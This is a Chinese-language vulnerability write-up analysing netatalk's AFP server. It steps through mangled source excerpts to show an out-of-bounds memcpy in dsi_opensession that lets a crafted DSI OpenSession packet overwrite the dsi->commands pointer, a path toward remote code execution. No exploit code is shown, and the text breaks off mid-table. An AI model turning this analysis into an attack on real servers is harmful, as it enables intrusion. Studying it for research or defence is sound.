首先需要搭建netatalk的运行环境,这里使用docker搭建Ubuntu18.04,可以在docker Ubuntu18.04中进行环境复现。这里有两种方法,一是在docker中下载源码、安装依赖环境编译,二是在本机中下载源码、依赖编译。我这里选择了比较稳妥的的第一中。
1
sudo docker run
-
it ubuntu:
18.04
/
bin
/
bash
1
sudo docker run
-
p
548
:
548
-
it
-
-
privileged
=
true temp
-
image:latest
/
sbin
/
init
netatalk处理请求类似于Apache,对于每一个用户请求都会为其fork一个子进程处理,而父进程则监控请求的处理情况。netatalk的关键运行模块主要有两个,主模块afpd和AFP协议流量包处理模块libnetatalk。其中afpd主要功能为初始化服务的环境、监听和接受处理请求并为之构建请求处理的环境,而libnetatalk是具体解析和处理dsi流量的。
afp_start在main中被调用,通过阅读下面代码可以得知。第一个关键代码处调用了init_listening_sockets
其目的是watch atp, dsi sockets and ipc parent/child file descriptor
,也就是从这里开始监听APF请求了。继续往下看,我们发现了(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))
这行代码,返货了进程描述符,这意味着从这里开始已经真正开始接收和处理请求了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
int
main(
int
ac, char
*
*
av) {
...
/
*
watch atp, dsi sockets
and
ipc parent
/
child
file
descriptor.
*
/
if
(!(init_listening_sockets(&obj))) {
LOG(log_error, logtype_afpd,
"main: couldn't initialize socket handler"
);
afp_exit(EXITERR_CONF);
}
...
while
(
1
) {
pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
ret
=
poll(asev
-
>fdset, asev
-
>used,
-
1
);
pthread_sigmask(SIG_BLOCK, &sigs, NULL);
saveerrno
=
errno;
if
(gotsigchld) {
gotsigchld
=
0
;
child_handler();
continue
;
}
if
(reloadconfig) {
nologin
+
+
;
if
(!(reset_listening_sockets(&obj))) {
LOG(log_error, logtype_afpd,
"main: reset socket handlers"
);
afp_exit(EXITERR_CONF);
}
LOG(log_info, logtype_afpd,
"re-reading configuration file"
);
configfree(&obj, NULL);
afp_config_free(&obj);
if
(afp_config_parse(&obj,
"afpd"
) !
=
0
)
afp_exit(EXITERR_CONF);
if
(configinit(&obj) !
=
0
) {
LOG(log_error, logtype_afpd,
"config re-read: no servers configured"
);
afp_exit(EXITERR_CONF);
}
if
(!(init_listening_sockets(&obj))) {
LOG(log_error, logtype_afpd,
"main: couldn't initialize socket handler"
);
afp_exit(EXITERR_CONF);
}
nologin
=
0
;
reloadconfig
=
0
;
errno
=
saveerrno;
if
(server_children) {
server_child_kill(server_children, SIGHUP);
}
continue
;
}
if
(ret
=
=
0
)
continue
;
if
(ret <
0
) {
if
(errno
=
=
EINTR)
continue
;
LOG(log_error, logtype_afpd,
"main: can't wait for input: %s"
, strerror(errno));
break
;
}
for
(
int
i
=
0
; i < asev
-
>used; i
+
+
) {
if
(asev
-
>fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
switch (asev
-
>data[i].fdtype) {
case LISTEN_FD:
/
/
here
if
((child
=
dsi_start(&obj, (DSI
*
)(asev
-
>data[i].private), server_children))) {
if
(!(asev_add_fd(asev, child
-
>afpch_ipc_fd, IPC_FD, child))) {
LOG(log_error, logtype_afpd,
"out of asev slots"
);
/
*
*
Close IPC fd here
and
mark it as unused
*
/
close(child
-
>afpch_ipc_fd);
child
-
>afpch_ipc_fd
=
-
1
;
/
*
*
Being unfriendly here, but we really
*
want to get rid of it. The
'child'
*
handle gets cleaned up
in
the SIGCLD
*
handler.
*
/
kill(child
-
>afpch_pid, SIGKILL);
}
}
break
;
case IPC_FD:
child
=
(afp_child_t
*
)(asev
-
>data[i].private);
LOG(log_debug, logtype_afpd,
"main: IPC request from child[%u]"
, child
-
>afpch_pid);
if
(ipc_server_read(server_children, child
-
>afpch_ipc_fd) !
=
0
) {
if
(!(asev_del_fd(asev, child
-
>afpch_ipc_fd))) {
LOG(log_error, logtype_afpd,
"child[%u]: no IPC fd"
);
}
close(child
-
>afpch_ipc_fd);
child
-
>afpch_ipc_fd
=
-
1
;
}
break
;
default:
LOG(log_debug, logtype_afpd,
"main: IPC request for unknown type"
);
break
;
}
/
*
switch
*
/
}
/
*
if
*
/
}
/
*
for
(i)
*
/
}
/
*
while
(
1
)
*
/
}
我们再来看afp_start
函数。首先调用了dsi_getsession
,并且forked后进入afp_over_dsi
处理本次请求。我们先看dsi_getsession
,我们可以看到在第一个数据包中只允许我们利用DSI中的command字段访问两个Command命令或者说函数,分别是DSIGetStatus
和 DSIOpenSession
。我们查阅一下,DSIOpenSession
命令的分支即dsi_opensession
函数。我们看到switch语句在解析DSI session options时,DSIOPT_ATTNQUANT
分支中出现了一个memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
语句,这里存在一个越界写漏洞。在进入到dsi_opensession
函数之前,会隐式的调用dsi_stream_receive
函数,将我们发送的DSI数据包中的Payload字段 copy to dsi->commands中。而Payload字段是可控的,用户发包时自由指定,只要服务可以解析即可。因此,我们发现payload在这里实际上解析的格式是payload[0]:code, payload[1]:size, payload[2:size -1]:data
,而memcpy拷贝至的dsi->attn_quantum变量却是一个uint32类型,也就说,只要我们合理设置size和data就可以触发越界写,覆盖&dsi->attn_quantum后面的字段。我们可以往后覆盖多少个字节呢?dsi->commands是一个uint8类型的指针,也就是解析格式中size最大值为255,我们可以往后覆盖255个字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
static afp_child_t
*
dsi_start(AFPObj
*
obj, DSI
*
dsi, server_child_t
*
server_children)
{
afp_child_t
*
child
=
NULL;
if
(dsi_getsession(dsi, server_children, obj
-
>options.tickleval, &child) !
=
0
) {
LOG(log_error, logtype_afpd,
"dsi_start: session error: %s"
, strerror(errno));
return
NULL;
}
/
/
we've forked.
if
(child
=
=
NULL) {
configfree(obj, dsi);
afp_over_dsi(obj);
/
*
start a session
*
/
exit (
0
);
}
return
child;
}
/
*
!
*
Start a DSI session, fork an afpd process
*
*
@param childp (w) after fork: parent
return
pointer to child, child returns NULL
*
@returns
0
on sucess,
any
other value denotes failure
*
/
/
*
DSI Commands
*
/
int
dsi_getsession(DSI
*
dsi, server_child_t
*
serv_children,
int
tickleval, afp_child_t
*
*
childp)
{
switch (dsi
-
>header.dsi_command) {
case DSIFUNC_STAT:
/
*
send off status
and
return
*
/
{
/
*
OpenTransport
1.1
.
2
bug workaround:
*
*
OT code doesn't currently handle close sockets well. urk.
*
the workaround: wait
for
the client to close its
*
side. timeouts prevent indefinite resource use.
*
/
static struct timeval timeout
=
{
120
,
0
};
fd_set readfds;
dsi_getstatus(dsi);
FD_ZERO(&readfds);
FD_SET(dsi
-
>socket, &readfds);
free(dsi);
select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);
exit(
0
);
}
break
;
case DSIFUNC_OPEN:
/
*
setup session
*
/
/
*
set
up the tickle timer
*
/
dsi
-
>timer.it_interval.tv_sec
=
dsi
-
>timer.it_value.tv_sec
=
tickleval;
dsi
-
>timer.it_interval.tv_usec
=
dsi
-
>timer.it_value.tv_usec
=
0
;
dsi_opensession(dsi);
*
childp
=
NULL;
return
0
;
default:
/
*
just close
*
/
LOG(log_info, logtype_dsi,
"DSIUnknown %d"
, dsi
-
>header.dsi_command);
dsi
-
>proto_close(dsi);
exit(EXITERR_CLNT);
}
}
/
*
DSI session options
*
/
/
*
OpenSession.
set
up the connection
*
/
void dsi_opensession(DSI
*
dsi)
{
uint32_t i
=
0
;
/
*
this serves double duty. it must be
4
-
bytes
long
*
/
int
offs;
if
(setnonblock(dsi
-
>socket,
1
) <
0
) {
LOG(log_error, logtype_dsi,
"dsi_opensession: setnonblock: %s"
, strerror(errno));
AFP_PANIC(
"setnonblock error"
);
}
/
*
parse options
*
/
while
(i < dsi
-
>cmdlen) {
switch (dsi
-
>commands[i
+
+
]){
case DSIOPT_ATTNQUANT:
/
/
dsi_header.dsi_data[
0
]:code, dsi_header.dsi_data[
1
]:size, dsi_header.dsi_data[
2
:size
-
1
]:data
memcpy(&dsi
-
>attn_quantum, dsi
-
>commands
+
i
+
1
, dsi
-
>commands[i]);
/
/
越界写,上层函数会执行 memcpy(dsi
-
>commands, dsi_header
-
>dsi_data) dsi_header是我们发包的内容
dsi
-
>attn_quantum
=
ntohl(dsi
-
>attn_quantum);
case DSIOPT_SERVQUANT:
/
*
just ignore these
*
/
default:
i
+
=
dsi
-
>commands[i]
+
1
;
/
*
forward past length tag
+
length
*
/
break
;
}
}
/
/
...
dsi_send(dsi);
}
DSI结构体如下,从attn_quantum字段往后溢出,我们最多可以溢出至data数组的部分空间(data数组非常大)。比较关键的是我们可以覆盖指针dsi->commands。在后面的漏洞分析小节,我们会纤细的讨论覆盖commands指针所导致的严重后果,这将使得我们可以RCE。afp_start->dsi_getsession->dsi_opensession这条路径我们分析至此。大意的作用从两个关键函数名也可以看出来,核心就是open session,配置一些东西并开启正式的连接会话,你可以理解为TCP建立连接前的三次握手,但是在配置过程中产生了越界写漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
typedef struct DSI {
struct DSI
*
next
;
/
*
multiple listening addresses
*
/
AFPObj
*
AFPobj;
int
statuslen;
char status[
1400
];
char
*
signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int
tickle;
/
*
tickle count
*
/
int
in_write;
/
*
in
the middle of writing multiple packets,
signal handlers can't write to the socket
*
/
int
msg_request;
/
*
pending message to the client
*
/
int
down_request;
/
*
pending SIGUSR1 down
in
5
mn
*
/
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t
*
commands;
/
*
DSI recieve
buffer
*
/
/
/
uint8_t data[DSI_DATASIZ];
/
*
DSI reply
buffer
*
/
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags;
/
*
DSI flags like DSI_SLEEPING, DSI_DISCONNECTED
*
/
int
socket;
/
*
AFP session socket
*
/
int
serversock;
/
*
listening socket
*
/
/
*
DSI readahead
buffer
used
for
buffered reads
in
dsi_peek
*
/
size_t dsireadbuf;
/
*
size of the DSI readahead
buffer
used
in
dsi_peek()
*
/
char
*
buffer
;
/
*
buffer
start
*
/
char
*
start;
/
*
current
buffer
head
*
/
char
*
eof;
/
*
end of currently used
buffer
*
/
char
*
end;
char
*
bonjourname;
/
*
server name as UTF8 maxlen MAXINSTANCENAMELEN
*
/
int
zeroconf_registered;
/
*
protocol specific
open
/
close, send
/
receive
*
send
/
receive fill
in
the header
and
use dsi
-
>commands.
*
write
/
read just write
/
read data
*
/
pid_t (
*
proto_open)(struct DSI
*
);
void (
*
proto_close)(struct DSI
*
);
} DSI;
我们再继续从afp_start->afp_over_dsi开始看。afp_over_dsi处理正式连接的请求核心再这个while循环。首先第一行重要代码cmd = dsi_stream_receive(dsi);
,Blocking read on the network socket
,即阻塞地从socket连接中读取dsi steam,即会解析dsi流量填充dsi结构体,也就是反序列化dsi流量。我们进入快速阅读一下dsi_stream_receive
函数,注意我们关注的是该函数如何从socket中读取数据填充dsi结构体。我们可以明显的发现block
变量即是DSI Header,将block
copy to dsi.header
中。而其中关键的数据包的body也即payload或者说dsi data是同过一行if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
从dsi结构体的buffer中读取到dsi->commands指针指向的内存中,最后其返回值返回block[1],也就是我们下图1中给出的DSI Header结构中的Command字段。至此我们了解该函数是如何把DSI流量数据填充进 dsi structure。
我们继续回到afp_over_dsi的while循环中。再dsi_stream_receive
函数返回时,其返回值同时也是本次请求的Command字段,该返回值进入Switch语句执行对应的command命令,而我们着重关注最核心的case DSIFUNC_CMD
分支。这个分支的作用简而言之,就是根据我们DSI数据流中的Payload字段的数据,执行AFP回调函数。我们可以发现核心的afp_switch
变量,通过全局搜索afp_switch =
可以发现两处赋值(如图2所示)。通过变量名和两张回调函数表的内容,可以猜测,一个是未登入或未授权时走preauth_switch
,一个是登入成功或授权时走postauth_switch
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
void afp_over_dsi(AFPObj
*
obj)
{
DSI
*
dsi
=
(DSI
*
) obj
-
>dsi;
/
/
...
while
(
1
) {
if
(sigsetjmp(recon_jmp,
1
) !
=
0
)
/
*
returning
from
SIGALARM handler
for
a primary reconnect
*
/
continue
;
/
*
Blocking read on the network socket
*
/
cmd
=
dsi_stream_receive(dsi);
if
(cmd
=
=
0
) {
/
*
cmd
=
=
0
is
the error condition
*
/
if
(dsi
-
>flags & DSI_RECONSOCKET) {
/
*
we just got a reconnect so we immediately
try
again to receive on the new fd
*
/
dsi
-
>flags &
=
~DSI_RECONSOCKET;
continue
;
}
/
*
the client sometimes logs out (afp_logout) but doesn't close the DSI session
*
/
if
(dsi
-
>flags & DSI_AFP_LOGGED_OUT) {
LOG(log_note, logtype_afpd,
"afp_over_dsi: client logged out, terminating DSI session"
);
afp_dsi_close(obj);
exit(
0
);
}
if
(dsi
-
>flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd,
"afp_over_dsi: failed reconnect"
);
afp_dsi_close(obj);
exit(
0
);
}
/
*
Some error on the client connection, enter disconnected state
*
/
if
(dsi_disconnect(dsi) !
=
0
)
afp_dsi_die(EXITERR_CLNT);
ipc_child_state(obj, DSI_DISCONNECTED);
while
(dsi
-
>flags & DSI_DISCONNECTED)
pause();
/
*
gets interrupted by SIGALARM
or
SIGURG tickle
*
/
ipc_child_state(obj, DSI_RUNNING);
continue
;
/
*
continue
receiving until disconnect timer expires
*
or
a primary reconnect succeeds
*
/
}
if
(!(dsi
-
>flags & DSI_EXTSLEEP) && (dsi
-
>flags & DSI_SLEEPING)) {
LOG(log_debug, logtype_afpd,
"afp_over_dsi: got data, ending normal sleep"
);
dsi
-
>flags &
=
~DSI_SLEEPING;
dsi
-
>tickle
=
0
;
ipc_child_state(obj, DSI_RUNNING);
}
if
(reload_request) {
reload_request
=
0
;
load_volumes(AFPobj, LV_FORCE);
}
/
*
The first SIGINT enables debugging, the
next
restores the config
*
/
if
(debug_request) {
static
int
debugging
=
0
;
debug_request
=
0
;
dircache_dump();
uuidcache_dump();
if
(debugging) {
if
(obj
-
>options.logconfig)
setuplog(obj
-
>options.logconfig, obj
-
>options.logfile);
else
setuplog(
"default:note"
, NULL);
debugging
=
0
;
}
else
{
char logstr[
50
];
debugging
=
1
;
sprintf(logstr,
"/tmp/afpd.%u.XXXXXX"
, getpid());
setuplog(
"default:maxdebug"
, logstr);
}
}
dsi
-
>flags |
=
DSI_DATA;
dsi
-
>tickle
=
0
;
switch(cmd) {
case DSIFUNC_CLOSE:
LOG(log_debug, logtype_afpd,
"DSI: close session request"
);
afp_dsi_close(obj);
LOG(log_note, logtype_afpd,
"done"
);
exit(
0
);
case DSIFUNC_TICKLE:
dsi
-
>flags &
=
~DSI_DATA;
/
*
thats no data
in
the sense we use it
in
alarm_handler
*
/
LOG(log_debug, logtype_afpd,
"DSI: client tickle"
);
/
*
timer
is
not
every
30
seconds anymore, so we don't get killed on the client side.
*
/
if
((dsi
-
>flags & DSI_DIE))
dsi_tickle(dsi);
break
;
case DSIFUNC_CMD:
if
( writtenfork ) {
if
( flushfork( writtenfork ) <
0
) {
LOG(log_error, logtype_afpd,
"main flushfork: %s"
, strerror(errno) );
}
writtenfork
=
NULL;
}
function
=
(u_char) dsi
-
>commands[
0
];
/
*
AFP replay cache
*
/
rc_idx
=
dsi
-
>clientID
%
REPLAYCACHE_SIZE;
LOG(log_debug, logtype_dsi,
"DSI request ID: %u"
, dsi
-
>clientID);
if
(replaycache[rc_idx].DSIreqID
=
=
dsi
-
>clientID
&& replaycache[rc_idx].AFPcommand
=
=
function) {
LOG(log_note, logtype_afpd,
"AFP Replay Cache match: id: %u / cmd: %s"
,
dsi
-
>clientID, AfpNum2name(function));
err
=
replaycache[rc_idx].result;
/
*
AFP replay cache end
*
/
}
else
{
/
*
send off an afp command.
in
a couple cases, we take advantage
*
of the fact that we're a stream
-
based protocol.
*
/
if
(afp_switch[function]) {
dsi
-
>datalen
=
DSI_DATASIZ;
dsi
-
>flags |
=
DSI_RUNNING;
LOG(log_debug, logtype_afpd,
"<== Start AFP command: %s"
, AfpNum2name(function));
AFP_AFPFUNC_START(function, (char
*
)AfpNum2name(function));
err
=
(
*
afp_switch[function])(obj,
(char
*
)dsi
-
>commands, dsi
-
>cmdlen,
(char
*
)&dsi
-
>data, &dsi
-
>datalen);
AFP_AFPFUNC_DONE(function, (char
*
)AfpNum2name(function));
LOG(log_debug, logtype_afpd,
"==> Finished AFP command: %s -> %s"
,
AfpNum2name(function), AfpErr2name(err));
dir_free_invalid_q();
dsi
-
>flags &
=
~DSI_RUNNING;
/
*
Add result to the AFP replay cache
*
/
replaycache[rc_idx].DSIreqID
=
dsi
-
>clientID;
replaycache[rc_idx].AFPcommand
=
function;
replaycache[rc_idx].result
=
err;
}
else
{
LOG(log_maxdebug, logtype_afpd,
"bad function %X"
, function);
dsi
-
>datalen
=
0
;
err
=
AFPERR_NOOP;
}
}
/
*
single shot toggle that gets
set
by dsi_readinit.
*
/
if
(dsi
-
>flags & DSI_NOREPLY) {
dsi
-
>flags &
=
~DSI_NOREPLY;
break
;
}
else
if
(!dsi_cmdreply(dsi, err)) {
LOG(log_error, logtype_afpd,
"dsi_cmdreply(%d): %s"
, dsi
-
>socket, strerror(errno) );
if
(dsi_disconnect(dsi) !
=
0
)
afp_dsi_die(EXITERR_CLNT);
}
break
;
case DSIFUNC_WRITE:
/
*
FPWrite
and
FPAddIcon
*
/
function
=
(u_char) dsi
-
>commands[
0
];
if
( afp_switch[ function ] !
=
NULL ) {
dsi
-
>datalen
=
DSI_DATASIZ;
dsi
-
>flags |
=
DSI_RUNNING;
LOG(log_debug, logtype_afpd,
"<== Start AFP command: %s"
, AfpNum2name(function));
AFP_AFPFUNC_START(function, (char
*
)AfpNum2name(function));
err
=
(
*
afp_switch[function])(obj,
(char
*
)dsi
-
>commands, dsi
-
>cmdlen,
(char
*
)&dsi
-
>data, &dsi
-
>datalen);
AFP_AFPFUNC_DONE(function, (char
*
)AfpNum2name(function));
LOG(log_debug, logtype_afpd,
"==> Finished AFP command: %s -> %s"
,
AfpNum2name(function), AfpErr2name(err));
dsi
-
>flags &
=
~DSI_RUNNING;
}
else
{
LOG(log_error, logtype_afpd,
"(write) bad function %x"
, function);
dsi
-
>datalen
=
0
;
err
=
AFPERR_NOOP;
}
if
(!dsi_wrtreply(dsi, err)) {
LOG(log_error, logtype_afpd,
"dsi_wrtreply: %s"
, strerror(errno) );
if
(dsi_disconnect(dsi) !
=
0
)
afp_dsi_die(EXITERR_CLNT);
}
break
;
case DSIFUNC_ATTN:
/
*
attention replies
*
/
break
;
/
*
error. this usually implies a mismatch of some kind
*
between server
and
client.
if
things are correct,
*
we need to flush the rest of the packet
if
necessary.
*
/
default:
LOG(log_info, logtype_afpd,
"afp_dsi: spurious command %d"
, cmd);
dsi_writeinit(dsi, dsi
-
>data, DSI_DATASIZ);
dsi_writeflush(dsi);
break
;
}
pending_request(dsi);
fce_pending_events(obj);
}
}
/
*
!
*
Read DSI command
and
data
*
*
@param dsi (rw) DSI handle
*
*
@
return
DSI function on success,
0
on failure
*
/
int
dsi_stream_receive(DSI
*
dsi)
{
char block[DSI_BLOCKSIZ];
LOG(log_maxdebug, logtype_dsi,
"dsi_stream_receive: START"
);
if
(dsi
-
>flags & DSI_DISCONNECTED)
return
0
;
/
*
read
in
the header
*
/
if
(dsi_buffered_stream_read(dsi, (uint8_t
*
)block, sizeof(block)) !
=
sizeof(block))
return
0
;
dsi
-
>header.dsi_flags
=
block[
0
];
dsi
-
>header.dsi_command
=
block[
1
];
if
(dsi
-
>header.dsi_command
=
=
0
)
return
0
;
memcpy(&dsi
-
>header.dsi_requestID, block
+
2
, sizeof(dsi
-
>header.dsi_requestID));
memcpy(&dsi
-
>header.dsi_data.dsi_doff, block
+
4
, sizeof(dsi
-
>header.dsi_data.dsi_doff));
dsi
-
>header.dsi_data.dsi_doff
=
htonl(dsi
-
>header.dsi_data.dsi_doff);
memcpy(&dsi
-
>header.dsi_len, block
+
8
, sizeof(dsi
-
>header.dsi_len));
memcpy(&dsi
-
>header.dsi_reserved, block
+
12
, sizeof(dsi
-
>header.dsi_reserved));
dsi
-
>clientID
=
ntohs(dsi
-
>header.dsi_requestID);
/
*
make sure we don't over
-
write our buffers.
*
/
dsi
-
>cmdlen
=
MIN
(ntohl(dsi
-
>header.dsi_len), dsi
-
>server_quantum);
/
*
Receiving DSIWrite data
is
done
in
AFP function,
not
here
*
/
if
(dsi
-
>header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi,
"dsi_stream_receive: write request"
);
dsi
-
>cmdlen
=
dsi
-
>header.dsi_data.dsi_doff;
}
/
/
TCP fork dsi
if
(dsi_stream_read(dsi, dsi
-
>commands, dsi
-
>cmdlen) !
=
dsi
-
>cmdlen)
return
0
;
LOG(log_debug, logtype_dsi,
"dsi_stream_receive: DSI cmdlen: %zd"
, dsi
-
>cmdlen);
return
block[
1
];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
static AFPCmd preauth_switch[]
=
{
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
0
-
7
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
8
-
15
*
/
NULL, NULL, afp_login, afp_logincont,
afp_logout, NULL, NULL, NULL,
/
*
16
-
23
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
24
-
31
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
32
-
39
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
40
-
47
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
48
-
55
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, afp_login_ext,
/
*
56
-
63
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
64
-
71
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
72
-
79
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
80
-
87
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
88
-
95
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
96
-
103
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
104
-
111
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
112
-
119
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
120
-
127
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
128
-
135
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
136
-
143
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
144
-
151
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
152
-
159
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
160
-
167
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
168
-
175
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
176
-
183
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
184
-
191
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
192
-
199
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
200
-
207
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
208
-
215
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
216
-
223
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
224
-
231
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
232
-
239
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
240
-
247
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
248
-
255
*
/
};
AFPCmd
*
afp_switch
=
preauth_switch;
AFPCmd postauth_switch[]
=
{
NULL, afp_bytelock, afp_closevol, afp_closedir,
afp_closefork, afp_copyfile, afp_createdir, afp_createfile,
/
*
0
-
7
*
/
afp_delete, afp_enumerate, afp_flush, afp_flushfork,
afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,
/
*
8
-
15
*
/
afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
afp_logout, afp_mapid, afp_mapname, afp_moveandrename,
/
*
16
-
23
*
/
afp_openvol, afp_opendir, afp_openfork, afp_read,
afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
/
*
24
-
31
*
/
afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid,
/
*
32
-
39
*
/
afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
afp_null, afp_null, afp_null, afp_null,
/
*
40
-
47
*
/
afp_opendt, afp_closedt, afp_null, afp_geticon,
afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,
/
*
48
-
55
*
/
afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
NULL, NULL, NULL, NULL,
/
*
56
-
63
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
64
-
71
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, afp_syncdir, afp_syncfork,
/
*
72
-
79
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
80
-
87
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
88
-
95
*
/
NULL, NULL, NULL, NULL,
afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL,
/
*
96
-
103
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
104
-
111
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
112
-
119
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
120
-
127
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
128
-
135
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
136
-
143
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
144
-
151
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
152
-
159
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
160
-
167
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
168
-
175
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
176
-
183
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
184
-
191
*
/
afp_addicon, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
192
-
199
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
200
-
207
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
208
-
215
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
